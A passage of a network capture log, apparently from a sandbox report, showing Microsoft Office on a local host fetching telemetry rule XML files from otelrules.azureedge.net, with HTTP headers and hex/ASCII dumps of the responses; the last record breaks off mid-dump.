2024-12-07 07:44:04 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:44:04 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 49b561ed-d01e-0065-2706-48b77a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074404Z-r1cf579d77867vg8hC1EWR8knc00000001hg000000003s2s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:44:04 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.5	49833	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:44:04 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:44:04 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:44:04 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 8eb9891a-501e-005b-7103-48d7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074404Z-r1cf579d7786c2tshC1EWRr1gc00000001g00000000005wp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:44:04 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.5	49832	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:44:04 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:44:04 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:44:04 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: 1ccbfaf0-201e-0003-3306-48f85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074404Z-r1cf579d778lntp7hC1EWR9gg40000000140000000003utc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:44:04 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.5	49837	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:44:06 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:44:07 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:44:06 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: e2bfbc9d-f01e-0085-0f03-4888ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074406Z-r1cf579d778qgtz2hC1EWRmgks00000001h000000000374f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:44:07 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.5	49836	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:44:06 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:44:07 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:44:06 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: fc2f82a1-a01e-006f-4f06-4813cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074406Z-r1cf579d778qlpkrhC1EWRpfc800000002hg0000000001cz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:44:07 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.5	49835	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:44:06 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:44:07 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:44:06 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 1ec3a3fb-701e-0001-7303-48b110000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074406Z-r1cf579d77867vg8hC1EWR8knc00000001r00000000003un x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:44:07 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.5	49838	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:44:06 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:44:07 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:44:06 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: 42c4dea6-f01e-0099-6c03-489171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074406Z-r1cf579d778bb9vvhC1EWRs95400000001eg00000000069a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:44:07 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.5	49834	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:44:06 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:44:07 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:44:06 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: 83446ce3-101e-0046-0a10-4891b0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074406Z-r1cf579d7789trgthC1EWRkkfc00000002b00000000047eh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:44:07 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.5	49842	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:44:08 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:44:09 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:44:09 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: 8332b9fd-c01e-0079-1704-48e51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074409Z-r1cf579d778g2t6ghC1EWRfggs000000017g00000000196m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:44:09 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.5	49839	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:44:08 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:44:09 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:44:09 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: 22946db9-b01e-0021-4e03-48cab7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074409Z-r1cf579d778qlpkrhC1EWRpfc800000002d0000000002sw5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:44:09 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.5	49840	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:44:08 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:44:09 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:44:09 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: 9a7d6e1d-d01e-00a1-4e08-4835b1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074409Z-r1cf579d778qlpkrhC1EWRpfc800000002eg000000001q34 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:44:09 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.5	49841	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:44:08 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:44:09 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:44:09 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: 1dad0878-201e-0071-1606-48ff15000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074409Z-r1cf579d778dfdgnhC1EWRd3w000000001gg000000003676 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:44:09 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" 